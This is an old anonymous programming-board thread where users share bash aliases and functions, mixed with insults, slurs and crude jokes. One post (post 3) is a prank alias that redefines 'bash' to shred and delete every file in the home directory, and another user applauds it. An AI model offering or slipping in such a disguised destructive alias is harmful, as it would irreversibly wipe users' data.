/prog/ - bash aliases

Name: Anonymous 2010-12-27 7:49

alias gentle='ionice -c 3 nice -n 20'

Name: Anonymous 2010-12-27 8:00

function rarplay { unrar e $1 -inul | buffer | mplayer -; }

Name: Anonymous 2010-12-27 8:34

alias bash='find ~ -type f -exec shred -u -n1 {} ";"'

Name: Anonymous 2010-12-27 8:48

>>3
I love you, you magnificent bastard.

Name: Anonymous 2010-12-27 10:31

>>4
I detest bash to the point of willing to accept vile sarcasm in response to expressions of my hatred towards this despicable ``shell''.

Name: Anonymous 2010-12-27 11:12

>>5
What are you, then? A zsh buff?

Name: Anonymous 2010-12-27 12:30

>>6
What are you, then? A zsh ``faggot''?

fixed that for you

Name: Anonymous 2010-12-27 12:35

function timestamp () { date +%Y%m%d-%H%M%S; }
function tvlm () { tail -f /var/log/messages; }

Name: Anonymous 2010-12-27 12:39



alias makemore='make 2>&1 | more'

Name: Anonymous 2010-12-27 13:25

>>2
THANK YOU!

Name: Anonymous 2010-12-27 13:51

>>10
My bad, you want unrarp, actually.

Name: Anonymous 2010-12-27 14:29

>>2
define buffer

Name: Anonymous 2010-12-27 15:14

>>12
$ sudo apt-get install buffer [sudo] password for xarn: Reading package lists... Done Building dependency tree Reading state information... Done E: This is not ubuntu, faggot $

Name: Anonymous 2010-12-27 16:19

>>2
I can't let that pass; why the fuck would you keep movies in rar files?

Name: Anonymous 2010-12-27 17:35

>>14
Because you can make them smaller. You could even rar a rared movie to make it smaller! But then you have to nest the unraring. I usually nest no more than ten rars, though.

Name: Anonymous 2010-12-27 17:36

>>15
You could just use FrozenVoid's infinite compression algorithm.

Name: Anonymous 2010-12-27 18:35

>>15
Disregarding the blatant and deliberate affront to information theory, xz or 7z are still superior to rar in both efficiency and openness.
If you absolutely must have them in an inconvenient and proprietary format, you could always rot13 them a couple of times.

Name: Anonymous 2010-12-27 20:30

>>14
Sometimes porn files are compressed in rar archives for some reason.

Name: Anonymous 2010-12-27 23:35

See http://dis.4chan.org/read/prog/1293409972/17,18 ;_;

Name: Anonymous 2010-12-27 23:44

>>19
[codealias ed=vim[/code]
alias emacs=vim
YOU FUCKING BLASPHEMER, I can understand emacs, not everyone can like it, but The Standard EDitor!

Name: Anonymous 2010-12-27 23:45

>>20
*aliased=vim

Name: Anonymous 2010-12-27 23:47

How BASH is better than LISP?

Name: Anonymous 2010-12-27 23:48

>>22
Who said that?

Name: Anonymous 2010-12-27 23:50

>>23
implying

Name: Anonymous 2010-12-27 23:52

>>21
I'm seeing this error a lot lately. Is it that hard to type ⌥Space?

Name: Anonymous 2010-12-28 0:39

>>25
⌥
I have bitch tits.

Name: Anonymous 2010-12-28 1:16

>>26
You should get that looked at.

Name: Anonymous 2010-12-28 2:11

alias '>' = 'implying'

Name: Anonymous 2010-12-28 4:58

>implying your alias makes any sense

Name: Anonymous 2010-12-28 6:01

>>29
implying implications without a space after the >

Name: Anonymous 2010-12-28 7:14

alias ped='perl -pi -e' alias randcow='cowsay -f $(basename $(echo /usr/share/cows/* | tr -s " " "\n" | shuf | head -1) .cow)'

Name: Anonymous 2010-12-28 15:09

What's the opposite of being nice?
alias cock='sudo nice -n -15 $(pidof $1)'

Name: Anonymous 2010-12-28 15:26

>>17
you could always rot13 them a couple of times.
More like rot13 them once.

Name: Anonymous 2010-12-28 15:42

>>33
Single-rot13 was cracked years ago. You have to apply multiple layers or it's useless.

Name: Anonymous 2010-12-28 22:40

>>33
>>34
Who is trolling who?

Name: Anonymous 2010-12-28 23:20

>>35
YHBTBTS

Name: Anonymous 2010-12-29 0:45

You have been trolled by the sun. ☼

Name: Anonymous 2010-12-29 2:45

You have been trolled by these stupids? Yes!

Name: Anonymous 2010-12-29 5:31

>>37
don't blame it on the sunshine

Name: Anonymous 2010-12-29 6:59

The Sunshine

Name: Anonymous 2010-12-29 12:57

alias gputemp="aticonfig --od-gettemperature"

Name: Anonymous 2010-12-29 13:18

The Sussshine.

Name: Anonymous 2010-12-29 14:10

>>41
fglrx
You best be joking.

Name: Anonymous 2010-12-29 14:27

>>43
STATUS: #TROLLED

Name: Anonymous 2010-12-29 16:05

alias cp="tar -zxf pr0nForKids.tar.gz"
alias uncp="tar -zcf pr0nForKids.tar.gz pr0nForKids/; rm -r pr0nForKids/"

Name: Anonymous 2010-12-29 17:26

The Sußmine

Name: Anonymous 2010-12-29 17:27

§üßµñ

Name: Anonymous 2010-12-30 17:27

>>14
Because retards upload movies as multipart rar archives to rapidshare. With this one can watch the movie while it is being downloaded, as long as you can download faster than you watch.

Name: Anonymous 2011-01-17 16:57

This was a great thread ;_;

Name: Anonymous 2011-01-17 17:18

>>49
It wasn't.

Name: Anonymous 2011-01-17 17:42

>>50
Yes it was.

Name: Anonymous 2011-01-18 7:00

>>49-51
Maybe it was indeed.

Name: Anonymous 2011-01-18 7:03



function mkcd() {

    mkdir -p $1 && cd $1

}



function scan() {

    sudo iwlist wlan0 scan | awk -F '[ =:/]+' '/Quality/{ printf $3" " } /Encryption/{ printf $4" " } /ESSID/{ print $3 }'

}

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